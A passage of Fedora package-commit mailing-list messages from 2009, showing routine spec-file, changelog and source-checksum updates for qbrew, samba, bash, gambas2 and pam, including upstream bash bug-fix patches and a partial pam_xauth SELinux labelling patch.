[Desktop Entry]
Name=Qbrew
GenericName=Qbrew
Comment=%{summary}
Exec=qbrew
Icon=qbrew
Terminal=false
Type=Application
Categories=Amusement;
EODESKTOP
) > %{name}.desktop

# create translation files
for ts in translations/*.ts; do
    %{_qt4_bindir}/lrelease ${ts}
done

%install
rm -rf ${RPM_BUILD_ROOT}
make install INSTALL_ROOT=${RPM_BUILD_ROOT}

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datadir}/pixmaps
cp pics/%{name}.png ${RPM_BUILD_ROOT}%{_datadir}/pixmaps

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datadir}/applications
desktop-file-install \
   --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
   %{name}.desktop

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datarootdir}/%{name}/translations
cp translations/*.ts translations/*.qm \
   ${RPM_BUILD_ROOT}%{_datarootdir}/%{name}/translations

%clean
rm -rf ${RPM_BUILD_ROOT}

%files
%defattr(-,root,root,-)
%{_bindir}/*
%{_datadir}/%{name}
%{_datadir}/applications/%{name}.desktop
%{_datadir}/pixmaps/%{name}.png
%{_datarootdir}/%{name}
%{_defaultdocdir}/%{name}

%doc AUTHORS ChangeLog TODO *.qbrew LICENSE README

%changelog
* Wed Oct  7 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-6
- Cleaned up changelog (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c13)
- Did the right thing with LICENSE and README (also comment 13)

* Tue Oct  6 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-5
- Simplified addition of %%doc files
- Removed help files from %%doc, since they're required to make qbrew work
- Moved help files to /usr/share/doc/qbrew/, where qbrew expects them to be
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c9)

* Mon Sep 28 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-4
- Build and install translations

* Wed Sep 23 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-3
- Added sample .qbrew files to %%doc
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c8)

* Fri Sep 18 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-2
- Fixed a vast array of issues
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c2)

* Thu Sep 17 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-1
- Converted specfile from SuSE


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qbrew/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:10:07 -0000	1.1
+++ sources	29 Oct 2009 14:47:51 -0000	1.2
@@ -0,0 +1 @@
+bf5009cf5ce5f3ea5069161012966cf7  qbrew-0.4.1.tar.gz



From gd at fedoraproject.org  Thu Oct 29 14:49:55 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu, 29 Oct 2009 14:49:55 +0000 (UTC)
Subject: rpms/samba/devel .cvsignore, 1.67, 1.68 samba.spec, 1.199,
	1.200 sources, 1.71, 1.72
Message-ID: <20091029144955.20BBD11C029D@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24571

Modified Files:
	.cvsignore samba.spec sources 
Log Message:
Update to 3.4.3

Guenther



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	1 Oct 2009 14:43:13 -0000	1.67
+++ .cvsignore	29 Oct 2009 14:49:54 -0000	1.68
@@ -1 +1 @@
-samba-3.4.2.tar.gz
+samba-3.4.3.tar.gz


Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/samba.spec,v
retrieving revision 1.199
retrieving revision 1.200
diff -u -p -r1.199 -r1.200
--- samba.spec	9 Oct 2009 18:34:44 -0000	1.199
+++ samba.spec	29 Oct 2009 14:49:54 -0000	1.200
@@ -1,5 +1,5 @@
-%define main_release 47
-%define samba_version 3.4.2
+%define main_release 48
+%define samba_version 3.4.3
 %define tdb_version 1.1.3
 %define talloc_version 1.3.0
 #%define pre_release rc1
@@ -654,6 +654,9 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Thu Oct 29 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.3-0.47
+- Update to 3.4.3
+
 * Fri Oct 09 2009 Simo Sorce <ssorce at redhat.com> - 3.4.2-47
 - Spec file cleanup
 - Fix sources upstream location
@@ -665,7 +668,6 @@ exit 0
 - Split winbind-clients out of main winbind package to avoid multilib to include
   huge packages for no good reason
 
-
 * Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.46
 - Update to 3.4.2
 - Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	1 Oct 2009 14:43:13 -0000	1.71
+++ sources	29 Oct 2009 14:49:54 -0000	1.72
@@ -1 +1 @@
-85fefafbeb94181c9df4b752e5ed7049  samba-3.4.2.tar.gz
+322379680c12057f57685652a35a6b05  samba-3.4.3.tar.gz



From gd at fedoraproject.org  Thu Oct 29 14:51:09 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu, 29 Oct 2009 14:51:09 +0000 (UTC)
Subject: rpms/samba/devel samba.spec,1.200,1.201
Message-ID: <20091029145109.69A9F11C0349@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24836

Modified Files:
	samba.spec 
Log Message:
Fix version in Changelog.

Guenther



Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/samba.spec,v
retrieving revision 1.200
retrieving revision 1.201
diff -u -p -r1.200 -r1.201
--- samba.spec	29 Oct 2009 14:49:54 -0000	1.200
+++ samba.spec	29 Oct 2009 14:51:09 -0000	1.201
@@ -654,7 +654,7 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
-* Thu Oct 29 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.3-0.47
+* Thu Oct 29 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.3-48
 - Update to 3.4.3
 
 * Fri Oct 09 2009 Simo Sorce <ssorce at redhat.com> - 3.4.2-47



From gd at fedoraproject.org  Thu Oct 29 14:54:59 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu, 29 Oct 2009 14:54:59 +0000 (UTC)
Subject: rpms/samba/F-12 .cvsignore, 1.67, 1.68 samba.spec, 1.199,
	1.200 sources, 1.71, 1.72
Message-ID: <20091029145459.52A7511C029D@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25613

Modified Files:
	.cvsignore samba.spec sources 
Log Message:
Update to 3.4.3.

Guenther



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	1 Oct 2009 14:44:08 -0000	1.67
+++ .cvsignore	29 Oct 2009 14:54:55 -0000	1.68
@@ -1 +1 @@
-samba-3.4.2.tar.gz
+samba-3.4.3.tar.gz


Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/samba.spec,v
retrieving revision 1.199
retrieving revision 1.200
diff -u -p -r1.199 -r1.200
--- samba.spec	9 Oct 2009 18:53:10 -0000	1.199
+++ samba.spec	29 Oct 2009 14:54:55 -0000	1.200
@@ -1,5 +1,5 @@
-%define main_release 47
-%define samba_version 3.4.2
+%define main_release 48
+%define samba_version 3.4.3
 %define tdb_version 1.1.3
 %define talloc_version 1.3.0
 #%define pre_release rc1
@@ -654,6 +654,9 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Thu Oct 29 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.3-48
+- Update to 3.4.3
+
 * Fri Oct 09 2009 Simo Sorce <ssorce at redhat.com> - 3.4.2-47
 - Spec file cleanup
 - Fix sources upstream location
@@ -665,7 +668,6 @@ exit 0
 - Split winbind-clients out of main winbind package to avoid multilib to include
   huge packages for no good reason
 
-
 * Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.46
 - Update to 3.4.2
 - Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	1 Oct 2009 14:44:08 -0000	1.71
+++ sources	29 Oct 2009 14:54:55 -0000	1.72
@@ -1 +1 @@
-85fefafbeb94181c9df4b752e5ed7049  samba-3.4.2.tar.gz
+322379680c12057f57685652a35a6b05  samba-3.4.3.tar.gz



From gd at fedoraproject.org  Thu Oct 29 14:58:39 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu, 29 Oct 2009 14:58:39 +0000 (UTC)
Subject: rpms/samba/F-11 .cvsignore, 1.65, 1.66 samba.spec, 1.192,
	1.193 sources, 1.69, 1.70
Message-ID: <20091029145839.D0DB611C029D@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26342

Modified Files:
	.cvsignore samba.spec sources 
Log Message:
Update to 3.4.3.

Guenther



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-11/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	1 Oct 2009 14:44:59 -0000	1.65
+++ .cvsignore	29 Oct 2009 14:58:31 -0000	1.66
@@ -1 +1 @@
-samba-3.4.2.tar.gz
+samba-3.4.3.tar.gz


Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-11/samba.spec,v
retrieving revision 1.192
retrieving revision 1.193
diff -u -p -r1.192 -r1.193
--- samba.spec	7 Oct 2009 19:13:58 -0000	1.192
+++ samba.spec	29 Oct 2009 14:58:31 -0000	1.193
@@ -1,5 +1,5 @@
-%define main_release 43
-%define samba_version 3.4.2
+%define main_release 44
+%define samba_version 3.4.3
 %define tdb_version 1.1.3
 %define talloc_version 1.3.0
 %define pre_release %nil
@@ -883,6 +883,9 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Thu Oct 29 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.3-0.44
+- Update to 3.4.3
+
 * Wed Oct 07 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.43
 - Fix required talloc version
 - resolves: #527806


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-11/sources,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- sources	1 Oct 2009 14:44:59 -0000	1.69
+++ sources	29 Oct 2009 14:58:31 -0000	1.70
@@ -1 +1 @@
-85fefafbeb94181c9df4b752e5ed7049  samba-3.4.2.tar.gz
+322379680c12057f57685652a35a6b05  samba-3.4.3.tar.gz



From rrakus at fedoraproject.org  Thu Oct 29 15:08:58 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Thu, 29 Oct 2009 15:08:58 +0000 (UTC)
Subject: rpms/bash/devel bash40-034, NONE, 1.1 bash40-035, NONE,
	1.1 bash.spec, 1.191, 1.192
Message-ID: <20091029150858.A4D9B11C02C9@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/bash/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30015

Modified Files:
	bash.spec 
Added Files:
	bash40-034 bash40-035 
Log Message:
Patch level 35


--- NEW FILE bash40-034 ---
			     BASH PATCH REPORT
			     =================

Bash-Release:	4.0
Patch-ID:	bash40-034

Bug-Reported-by:	Anders Kaseorg <andersk at mit.edu>
Bug-Reference-ID:	<1252856832.991059.8162.nullmailer at balanced-tree.mit.edu>
Bug-Reference-URL:	http://lists.gnu.org/archive/html/bug-bash/2009-09/msg00043.html

Bug-Description:

When using the globstar option, bash incorrectly interprets wildcarded path
components between a **/ and the last / as matching any path, even if the
constructed path does not match any files.

Patch:

*** ../bash-4.0-patched/lib/glob/glob.c	2009-07-22 23:18:50.000000000 -0400
--- lib/glob/glob.c	2009-09-18 17:53:25.000000000 -0400
***************
*** 920,928 ****
  	  char **temp_results;
  
  	  /* Scan directory even on a NULL filename.  That way, `*h/'
  	     returns only directories ending in `h', instead of all
  	     files ending in `h' with a `/' appended. */
  	  dname = directories[i];
! 	  dflags = flags & ~GX_MARKDIRS;
  	  if ((flags & GX_GLOBSTAR) && filename[0] == '*' && filename[1] == '*' && filename[2] == '\0')
  	    dflags |= GX_ALLDIRS|GX_ADDCURDIR;
--- 927,938 ----
  	  char **temp_results;
  
+ 	  /* XXX -- we've recursively scanned any directories resulting from
+ 	     a `**', so turn off the flag.  We turn it on again below if
+ 	     filename is `**' */
  	  /* Scan directory even on a NULL filename.  That way, `*h/'
  	     returns only directories ending in `h', instead of all
  	     files ending in `h' with a `/' appended. */
  	  dname = directories[i];
! 	  dflags = flags & ~(GX_MARKDIRS|GX_ALLDIRS|GX_ADDCURDIR);
  	  if ((flags & GX_GLOBSTAR) && filename[0] == '*' && filename[1] == '*' && filename[2] == '\0')
  	    dflags |= GX_ALLDIRS|GX_ADDCURDIR;
*** ../bash-4.0/patchlevel.h	2009-01-04 14:32:40.000000000 -0500
--- patchlevel.h	2009-02-22 16:11:31.000000000 -0500
***************
*** 26,30 ****
     looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 33
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 ----
     looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 34
  
  #endif /* _PATCHLEVEL_H_ */


--- NEW FILE bash40-035 ---
			     BASH PATCH REPORT
			     =================

Bash-Release:	4.0
Patch-ID:	bash40-035

Bug-Reported-by:	Freddy Vulto <fvulto at gmail.com>
Bug-Reference-ID:	<e9c463930909171341p7cbe6e43pa3788ebbe3adec4d at mail.gmail.com>
Bug-Reference-URL:	http://lists.gnu.org/archive/html/bug-bash/2009-09/msg00044.html

Bug-Description:

Bash-4.0 incorrectly treated single and double quotes as delimiters rather
than introducing quoted strings when splitting the line into words for
programmable completion functions.

Patch:

*** ../bash-4.0-patched/pcomplete.c	2009-03-08 21:24:31.000000000 -0400
--- pcomplete.c	2009-09-26 16:30:16.000000000 -0400
***************
*** 1176,1186 ****
    WORD_LIST *ret;
    char *delims;
  
! #if 0
!   delims = "()<>;&| \t\n";	/* shell metacharacters break words */
! #else
!   delims = rl_completer_word_break_characters;
! #endif
    ret = split_at_delims (line, llen, delims, sentinel, nwp, cwp);
    return (ret);
  }
--- 1176,1188 ----
    WORD_LIST *ret;
    char *delims;
+   int i, j;
  
!   delims = xmalloc (strlen (rl_completer_word_break_characters) + 1);
!   for (i = j = 0; rl_completer_word_break_characters[i]; i++)
!     if (rl_completer_word_break_characters[i] != '\'' && rl_completer_word_break_characters[i] != '"')
!       delims[j++] = rl_completer_word_break_characters[i];
!   delims[j] = '\0';
    ret = split_at_delims (line, llen, delims, sentinel, nwp, cwp);
+   free (delims);
    return (ret);
  }
*** ../bash-4.0/patchlevel.h	2009-01-04 14:32:40.000000000 -0500
--- patchlevel.h	2009-02-22 16:11:31.000000000 -0500
***************
*** 26,30 ****
     looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 34
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 ----
     looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 35
  
  #endif /* _PATCHLEVEL_H_ */


Index: bash.spec
===================================================================
RCS file: /cvs/extras/rpms/bash/devel/bash.spec,v
retrieving revision 1.191
retrieving revision 1.192
diff -u -p -r1.191 -r1.192
--- bash.spec	5 Oct 2009 16:00:11 -0000	1.191
+++ bash.spec	29 Oct 2009 15:08:55 -0000	1.192
@@ -1,11 +1,11 @@
 #%define beta_tag rc1
-%define patchlevel .33
+%define patchlevel .35
 %define baseversion 4.0
 
 Version: %{baseversion}%{patchlevel}
 Name: bash
 Summary: The GNU Bourne Again shell
-Release: 2%{?dist}
+Release: 1%{?dist}
 Group: System Environment/Shells
 License: GPLv2+
 Url: http://www.gnu.org/software/bash
@@ -52,6 +52,8 @@ Patch030: ftp://ftp.gnu.org/pub/gnu/bash
 Patch031: ftp://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-031
 Patch032: ftp://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-032
 Patch033: ftp://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-033
+Patch034: ftp://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-034
+Patch035: ftp://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-035
 
 # Other patches
 Patch101: bash-2.02-security.patch
@@ -137,6 +139,8 @@ This package contains documentation file
 %patch031 -p0 -b .031
 %patch032 -p0 -b .032
 %patch033 -p0 -b .033
+%patch034 -p0 -b .034
+%patch035 -p0 -b .035
 
 # Other patches
 %patch101 -p1 -b .security
@@ -324,6 +328,9 @@ fi
 #%doc doc/*.ps doc/*.0 doc/*.html doc/article.txt
 
 %changelog
+* Thu Oct 29 2009 Roman Rakus <rrakus at redhat.com> - 4.0.35-1
+- Patch level 35
+
 * Mon Oct 05 2009 Roman Rakus <rrakus at redhat.com> - 4.0.33-2
 - Make symlink from bashbug-suffix to bashbug man pages
 



From cstpierre at fedoraproject.org  Thu Oct 29 15:12:19 2009
From: cstpierre at fedoraproject.org (Chris St. Pierre)
Date: Thu, 29 Oct 2009 15:12:19 +0000 (UTC)
Subject: rpms/qbrew/F-12 qbrew.spec,1.1,1.2
Message-ID: <20091029151219.3A2B211C029D@cvs1.fedora.phx.redhat.com>

Author: cstpierre

Update of /cvs/pkgs/rpms/qbrew/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30804

Modified Files:
	qbrew.spec 
Log Message:
bumped release to get new tag so build will work


Index: qbrew.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbrew/F-12/qbrew.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- qbrew.spec	29 Oct 2009 14:47:52 -0000	1.1
+++ qbrew.spec	29 Oct 2009 15:12:15 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		qbrew
 Version:	0.4.1
-Release:	6%{?dist}
+Release:	6.1%{?dist}
 Summary:	A Brewing Recipe Calculator
 
 Group:		Applications/Engineering
@@ -80,6 +80,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %doc AUTHORS ChangeLog TODO *.qbrew LICENSE README
 
 %changelog
+* Thu Oct 29 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-6.1
+- Incremented release to fix problem tagging release in CVS
+
 * Wed Oct  7 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-6
 - Cleaned up changelog (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c13)
 - Did the right thing with LICENSE and README (also comment 13)



From spot at fedoraproject.org  Thu Oct 29 15:24:31 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 15:24:31 +0000 (UTC)
Subject: rpms/gambas2/F-10 gambas2.spec,1.15,1.16 sources,1.15,1.16
Message-ID: <20091029152432.21F9611C02BD@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/gambas2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32718/F-10

Modified Files:
	gambas2.spec sources 
Log Message:
2.17.0


Index: gambas2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/F-10/gambas2.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- gambas2.spec	12 Sep 2009 12:35:37 -0000	1.15
+++ gambas2.spec	29 Oct 2009 15:24:25 -0000	1.16
@@ -1,6 +1,6 @@
 Name:		gambas2
 Summary:	IDE based on a basic interpreter with object extensions
-Version:	2.16.0
+Version:	2.17.0
 Release:	1%{?dist}
 License:	GPL+
 Group:		Development/Tools
@@ -1572,6 +1572,9 @@ update-mime-database %{_datadir}/mime &>
 %{_datadir}/%{name}/info/gb.xml.xslt.*
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.17.0-1
+- update to 2.17.0
+
 * Fri Sep 11 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.16.0-1
 - update to 2.16.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/F-10/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	12 Sep 2009 12:35:37 -0000	1.15
+++ sources	29 Oct 2009 15:24:25 -0000	1.16
@@ -1 +1 @@
-7b2323eaa6f9fef5d70133eec419b95a  gambas2-2.16.0.tar.bz2
+dec2dde24106e4df1925fff0be13b6e5  gambas2-2.17.0.tar.bz2



From spot at fedoraproject.org  Thu Oct 29 15:24:39 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 15:24:39 +0000 (UTC)
Subject: rpms/gambas2/devel .cvsignore, 1.15, 1.16 gambas2.spec, 1.22,
	1.23 sources, 1.16, 1.17
Message-ID: <20091029152439.1982011C02BD@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/gambas2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32718/devel

Modified Files:
	.cvsignore gambas2.spec sources 
Log Message:
2.17.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Sep 2009 12:35:38 -0000	1.15
+++ .cvsignore	29 Oct 2009 15:24:35 -0000	1.16
@@ -1 +1 @@
-gambas2-2.16.0.tar.bz2
+gambas2-2.17.0.tar.bz2


Index: gambas2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/devel/gambas2.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- gambas2.spec	12 Sep 2009 12:35:38 -0000	1.22
+++ gambas2.spec	29 Oct 2009 15:24:35 -0000	1.23
@@ -1,6 +1,6 @@
 Name:		gambas2
 Summary:	IDE based on a basic interpreter with object extensions
-Version:	2.16.0
+Version:	2.17.0
 Release:	1%{?dist}
 License:	GPL+
 Group:		Development/Tools
@@ -1572,6 +1572,9 @@ update-mime-database %{_datadir}/mime &>
 %{_datadir}/%{name}/info/gb.xml.xslt.*
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.17.0-1
+- update to 2.17.0
+
 * Fri Sep 11 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.16.0-1
 - update to 2.16.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	12 Sep 2009 12:35:38 -0000	1.16
+++ sources	29 Oct 2009 15:24:35 -0000	1.17
@@ -1 +1 @@
-7b2323eaa6f9fef5d70133eec419b95a  gambas2-2.16.0.tar.bz2
+dec2dde24106e4df1925fff0be13b6e5  gambas2-2.17.0.tar.bz2



From spot at fedoraproject.org  Thu Oct 29 15:24:43 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 15:24:43 +0000 (UTC)
Subject: rpms/gambas2/F-11 gambas2.spec,1.21,1.22 sources,1.16,1.17
Message-ID: <20091029152443.D687E11C02BD@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/gambas2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32718/F-11

Modified Files:
	gambas2.spec sources 
Log Message:
2.17.0


Index: gambas2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/F-11/gambas2.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- gambas2.spec	12 Sep 2009 12:35:38 -0000	1.21
+++ gambas2.spec	29 Oct 2009 15:24:35 -0000	1.22
@@ -1,6 +1,6 @@
 Name:		gambas2
 Summary:	IDE based on a basic interpreter with object extensions
-Version:	2.16.0
+Version:	2.17.0
 Release:	1%{?dist}
 License:	GPL+
 Group:		Development/Tools
@@ -1572,6 +1572,9 @@ update-mime-database %{_datadir}/mime &>
 %{_datadir}/%{name}/info/gb.xml.xslt.*
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.17.0-1
+- update to 2.17.0
+
 * Fri Sep 11 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.16.0-1
 - update to 2.16.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/F-11/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	12 Sep 2009 12:35:38 -0000	1.16
+++ sources	29 Oct 2009 15:24:35 -0000	1.17
@@ -1 +1 @@
-7b2323eaa6f9fef5d70133eec419b95a  gambas2-2.16.0.tar.bz2
+dec2dde24106e4df1925fff0be13b6e5  gambas2-2.17.0.tar.bz2



From tmraz at fedoraproject.org  Thu Oct 29 15:32:33 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Thu, 29 Oct 2009 15:32:33 +0000 (UTC)
Subject: rpms/pam/devel pam-1.1.0-xauth-context.patch, NONE, 1.1 pam.spec,
	1.204, 1.205
Message-ID: <20091029153233.5DDD411C029D@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/pam/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2294

Modified Files:
	pam.spec 
Added Files:
	pam-1.1.0-xauth-context.patch 
Log Message:
* Thu Oct 29 2009 Tomas Mraz <tmraz at redhat.com> 1.1.0-6
- pam_xauth: set the approprate context when creating .xauth files (#531530)


pam-1.1.0-xauth-context.patch:
 Makefile.am |    2 +-
 pam_xauth.c |   45 ++++++++++++++++++++++++++++++++++++++++++---
 2 files changed, 43 insertions(+), 4 deletions(-)

--- NEW FILE pam-1.1.0-xauth-context.patch ---
diff -up Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am.xauth-context Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am
--- Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am.xauth-context	2006-06-09 18:44:08.000000000 +0200
+++ Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am	2009-10-29 14:34:18.000000000 +0100
@@ -16,7 +16,7 @@ secureconfdir = $(SCONFIGDIR)
 
 AM_CFLAGS = -I$(top_srcdir)/libpam/include -I$(top_srcdir)/libpamc/include
 AM_LDFLAGS = -no-undefined -avoid-version -module \
-	-L$(top_builddir)/libpam -lpam
+	-L$(top_builddir)/libpam -lpam @LIBSELINUX@
 if HAVE_VERSIONING
   AM_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map
 endif
diff -up Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c.xauth-context Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c
--- Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c.xauth-context	2009-04-09 10:07:29.000000000 +0200
+++ Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c	2009-10-29 16:13:21.000000000 +0100
@@ -57,6 +57,12 @@
 #include <security/pam_modutil.h>
 #include <security/pam_ext.h>
 
+#ifdef WITH_SELINUX
+#include <selinux/selinux.h>
+#include <selinux/label.h>
+#include <sys/stat.h>
+#endif
+
 #define DATANAME "pam_xauth_cookie_file"
 #define XAUTHENV "XAUTHORITY"
 #define HOMEENV  "HOME"
@@ -461,6 +467,10 @@ pam_sm_open_session (pam_handle_t *pamh,
 			  getuid(), getgid(),
 			  xauth, "-f", cookiefile, "nlist", display,
 			  NULL) == 0) {
+		int save_errno;
+#ifdef WITH_SELINUX
+		security_context_t context = NULL;
+#endif
 		/* Check that we got a cookie.  If not, we get creative. */
 		if (((cookie == NULL) || (strlen(cookie) == 0)) &&
 		    ((strncmp(display, "localhost:", 10) == 0) ||
@@ -545,12 +555,41 @@ pam_sm_open_session (pam_handle_t *pamh,
 		/* Generate a new file to hold the data. */
 		euid = geteuid();
 		setfsuid(tpwd->pw_uid);
-		fd = mkstemp(xauthority + strlen(XAUTHENV) + 1);
+		
+#ifdef WITH_SELINUX
+		if (is_selinux_enabled() > 0) {
+			struct selabel_handle *ctx = selabel_open(SELABEL_CTX_FILE, NULL, 0);
+			if (ctx != NULL) {
+				if (selabel_lookup(ctx, &context,
+						   xauthority + sizeof(XAUTHENV), S_IFREG) != 0) {
+					pam_syslog(pamh, LOG_WARNING,
+						   "could not get SELinux label for '%s'",
+						   xauthority + sizeof(XAUTHENV));
+				}
+				selabel_close(ctx);
+				if (setfscreatecon(context)) {
+					pam_syslog(pamh, LOG_WARNING,
+						   "setfscreatecon(%s) failed: %m", context);
+				}
+			}
+		}
